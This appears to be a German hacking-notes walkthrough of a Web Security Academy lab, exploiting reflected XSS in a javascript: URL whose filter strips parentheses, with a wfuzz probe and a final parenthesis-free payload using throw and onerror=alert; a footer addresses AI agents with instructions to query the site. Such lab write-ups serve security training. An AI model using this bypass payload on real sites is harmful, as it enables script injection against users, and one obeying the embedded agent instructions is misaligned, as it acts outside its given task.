> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/xss-in-javascript-url-with-limited-characters.md).

# XSS in einer JavaScript-URL mit begrenzten Zeichen

### Reflektiertes XSS in einer JavaScript-URL mit einigen blockierten Zeichen

#### Ziel

Nutzung einer reflektierten XSS-Schwachstelle in einer `JavaScript:` URL, um `alert` mit dem `1337` Zeichenkette (die `1337` Zeichenkette muss irgendwo in der Nachricht vorhanden sein).

Die Anwendung spiegelt unsere Eingabe in einer JavaScript-URL wider. Auf den ersten Blick scheint die Aufgabe einfach, aber die Anwendung filtert bestimmte Zeichen, um XSS-Angriffe zu verhindern. Wir müssen einen Weg finden, trotz dieser Einschränkungen aus dem JavaScript-Kontext auszubrechen und `alert(...)` mit `1337`.

<figure><img src="/files/87d104f7aa69b4b1ac8b4594bbe7ebe6cfbdd1b4" alt=""><figcaption></figcaption></figure>

#### Beobachtete Quellcode-Analyse

Im Quellcode finden Sie den folgenden Link:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Zurück zum Blog</a>
```

{% endcode %}

Nach dem Dekodieren der URL erhält man:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')">Zurück zum Blog</a>
```

{% endcode %}

Beim Klicken auf „Back to Blog“ wird diese JavaScript-URL ausgeführt. Durch das Abfangen der Anfrage sehen wir, dass ein Aufruf an `/analytics`. Der `postId` Der Parameter wird aus der URL übernommen (`/post?postId=...`) und im Body der Analytics-Abfrage reflektiert wird.

<figure><img src="/files/e101cabb1c5307c4fd4aeff20f8f1e0751115526" alt=""><figcaption></figcaption></figure>

#### Erster Versuch — Parsing-Fehler

<figure><img src="/files/eee2924e8098e7e540eb5683b33579cb78fe6b72" alt="" width="563"><figcaption></figcaption></figure>

Durch das Einschleusen eines einzelnen Apostrophs wird das Parsing unterbrochen (die ID wird ungültig):

```javascript
2'},{x:'
```

Das Apostroph bricht die Struktur, was zeigt, dass der Wert in einem Kontext eingefügt wird, in dem Anführungszeichen eine Rolle spielen.

<figure><img src="/files/b21afcfdc08afcfbf12aae43b239ee87279156ce" alt="" width="563"><figcaption></figcaption></figure>

#### Fuzzing spezieller Zeichen

Wir testeten schnell, welche Sonderzeichen eine gültige Antwort erzeugen (mit `wfuzz` und die `special-chars.txt` Liste). Verwendeter Beispielbefehl:

{% code overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```

{% endcode %}

Die Ergebnisse zeigen, dass `&` und `#` einen 200-Code erzeugen — sie werden vom Parser akzeptiert und erlauben das Einfügen von Sequenzen, die die Struktur korrekt schließen.

<figure><img src="/files/7ad40bd3c2404c65542257aded14ff5493c3ac44" alt="" width="563"><figcaption></figcaption></figure>

Beobachtete Interpretation:

```javascript
post?postId=2&
```

<figure><img src="/files/78671380c5371211ec58be5e6b917faea145101f" alt=""><figcaption></figcaption></figure>

#### Konstruktion des Escape-Vektors

Durch korrektes Schließen des Werts und Einfügen von Code erhält man:

```javascript
post?postId=2&'},{x:''
```

<figure><img src="/files/9675ad55cddcb97c9df6c8ceb9fd8d1e725a6976" alt=""><figcaption></figcaption></figure>

Hier `x` bleibt leer und die Syntax wird akzeptiert.

Dann versuchen wir, direkt ein `alert` einzufügen:

```javascript
post?postId=2&'},alert(1),{x:''
```

Aber `()` Klammern von `alert(1)` werden vom Filter entfernt — daher muss man die Pflicht zur Verwendung von `()`.

<figure><img src="/files/8087f7d84d35a68850a376fca5e3a931683f93c3" alt=""><figcaption></figcaption></figure>

#### Umgehung ohne Klammern

Man umgeht die Verwendung von Klammern und nutzt kreativere JavaScript-Ausdrücke, um `alert` durch `1337` in der Ausgabe. Die verwendete finale Payload lautet:

```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```

<figure><img src="/files/53fa440829e3b0cdf57eb7d90725d4351a652a55" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
